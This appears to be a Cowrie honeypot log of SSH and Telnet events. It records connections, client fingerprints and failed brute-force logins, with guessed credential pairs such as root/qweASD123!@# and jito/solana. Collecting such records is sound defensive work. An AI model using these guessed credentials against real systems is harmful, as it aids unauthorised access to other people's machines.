{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:44.904176Z","src_ip":"193.32.162.145","session":"51d8c74c06ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:44.992386Z","src_ip":"193.32.162.145","session":"51d8c74c06ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:45.399338Z","src_ip":"193.32.162.145","session":"51d8c74c06ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:46.519601Z","src_ip":"193.32.162.145","session":"51d8c74c06ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.504252910614014,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:47.357067Z","src_ip":"121.121.94.110","session":"b38d81c1090a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":33633,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac34aea09db","protocol":"ssh","message":"New connection: 84.239.42.8:33633 (159.203.135.109:22) [session: 3ac34aea09db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:22.101477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:22.106157Z","src_ip":"84.239.42.8","session":"3ac34aea09db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:22.497188Z","src_ip":"84.239.42.8","session":"3ac34aea09db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:23.134889Z","src_ip":"84.239.42.8","session":"3ac34aea09db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:24.265770Z","src_ip":"84.239.42.8","session":"3ac34aea09db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":37609,"dst_ip":"10.17.0.5","dst_port":23,"session":"504f231e593a","protocol":"telnet","message":"New connection: 212.55.149.117:37609 (10.17.0.5:23) [session: 504f231e593a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:32.812184Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58880,"dst_ip":"10.17.0.5","dst_port":23,"session":"55cb2bb785e1","protocol":"telnet","message":"New connection: 212.55.149.117:58880 (10.17.0.5:23) [session: 55cb2bb785e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:26:51.303836Z"}
{"eventid":"cowrie.session.closed","duration":120.00507092475891,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:27:24.146418Z","src_ip":"212.55.149.117","session":"24ba66f37d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34702,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0e5637d110a","protocol":"ssh","message":"New connection: 193.32.162.145:34702 (10.17.0.5:22) [session: d0e5637d110a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:27:55.159771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:27:55.165381Z","src_ip":"193.32.162.145","session":"d0e5637d110a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:27:55.267444Z","src_ip":"193.32.162.145","session":"d0e5637d110a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:27:55.586158Z","src_ip":"193.32.162.145","session":"d0e5637d110a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:27:56.693769Z","src_ip":"193.32.162.145","session":"d0e5637d110a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00753474235535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:32.819535Z","src_ip":"212.55.149.117","session":"504f231e593a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28967,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b7f47fdd05","protocol":"telnet","message":"New connection: 212.55.149.117:28967 (10.17.0.5:23) [session: 42b7f47fdd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:34.807868Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.27.94","src_port":51921,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5289e78180","protocol":"telnet","message":"New connection: 152.59.27.94:51921 (159.203.135.109:23) [session: 6e5289e78180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:49.424954Z"}
{"eventid":"cowrie.session.closed","duration":120.00254416465759,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:51.306242Z","src_ip":"212.55.149.117","session":"55cb2bb785e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":26693,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b2b324bf79","protocol":"telnet","message":"New connection: 212.55.149.117:26693 (10.17.0.5:23) [session: b0b2b324bf79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:54.568256Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39016,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc0ca886a2c7","protocol":"ssh","message":"New connection: 103.15.226.202:39016 (10.17.0.5:22) [session: cc0ca886a2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:57.457492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:57.465232Z","src_ip":"103.15.226.202","session":"cc0ca886a2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:58.414497Z","src_ip":"103.15.226.202","session":"cc0ca886a2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweASD123!@#","message":"login attempt [root/qweASD123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:28:59.140445Z","src_ip":"103.15.226.202","session":"cc0ca886a2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:29:00.386056Z","src_ip":"103.15.226.202","session":"cc0ca886a2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"362778e5f73c","protocol":"telnet","message":"New connection: 212.55.149.117:39136 (10.17.0.5:23) [session: 362778e5f73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:29:01.112666Z"}
{"eventid":"cowrie.session.closed","duration":13.08483076095581,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:29:02.509612Z","src_ip":"152.59.27.94","session":"6e5289e78180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":12695,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a6fd65003f","protocol":"telnet","message":"New connection: 212.55.149.117:12695 (10.17.0.5:23) [session: 37a6fd65003f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:29:52.884835Z"}
{"eventid":"cowrie.session.closed","duration":62.35009694099426,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:29:56.918226Z","src_ip":"212.55.149.117","session":"b0b2b324bf79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54328,"dst_ip":"10.17.0.5","dst_port":22,"session":"84bfba159b0a","protocol":"ssh","message":"New connection: 193.32.162.145:54328 (10.17.0.5:22) [session: 84bfba159b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:11.427875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:11.434916Z","src_ip":"193.32.162.145","session":"84bfba159b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:11.571066Z","src_ip":"193.32.162.145","session":"84bfba159b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:11.874847Z","src_ip":"193.32.162.145","session":"84bfba159b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:12.981062Z","src_ip":"193.32.162.145","session":"84bfba159b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00956082344055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:34.817307Z","src_ip":"212.55.149.117","session":"42b7f47fdd05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29330,"dst_ip":"10.17.0.5","dst_port":23,"session":"e748d0733d12","protocol":"telnet","message":"New connection: 212.55.149.117:29330 (10.17.0.5:23) [session: e748d0733d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:38.687339Z"}
{"eventid":"cowrie.session.closed","duration":60.06120014190674,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:30:52.945780Z","src_ip":"212.55.149.117","session":"37a6fd65003f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00497460365295,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:31:01.117418Z","src_ip":"212.55.149.117","session":"362778e5f73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.41.226.198","src_port":35514,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c2d720e877","protocol":"ssh","message":"New connection: 121.41.226.198:35514 (159.203.135.109:22) [session: 79c2d720e877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:31:24.769690Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:31:24.774672Z","src_ip":"121.41.226.198","session":"79c2d720e877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.67142176628113,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:31:42.358639Z","src_ip":"212.55.149.117","session":"e748d0733d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.118.146.219","src_port":59047,"dst_ip":"159.203.135.109","dst_port":22,"session":"7878ac048409","protocol":"ssh","message":"New connection: 45.118.146.219:59047 (159.203.135.109:22) [session: 7878ac048409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:00.229082Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:00.491594Z","src_ip":"45.118.146.219","session":"7878ac048409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":3220,"dst_ip":"159.203.135.109","dst_port":22,"session":"3879ca07dc6f","protocol":"ssh","message":"New connection: 193.24.211.100:3220 (159.203.135.109:22) [session: 3879ca07dc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:11.315530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:11.321143Z","src_ip":"193.24.211.100","session":"3879ca07dc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:11.429907Z","src_ip":"193.24.211.100","session":"3879ca07dc6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.baidu.com","message":"login attempt [root/www.baidu.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:11.852381Z","src_ip":"193.24.211.100","session":"3879ca07dc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:12.963612Z","src_ip":"193.24.211.100","session":"3879ca07dc6f","protocol":"ssh"}
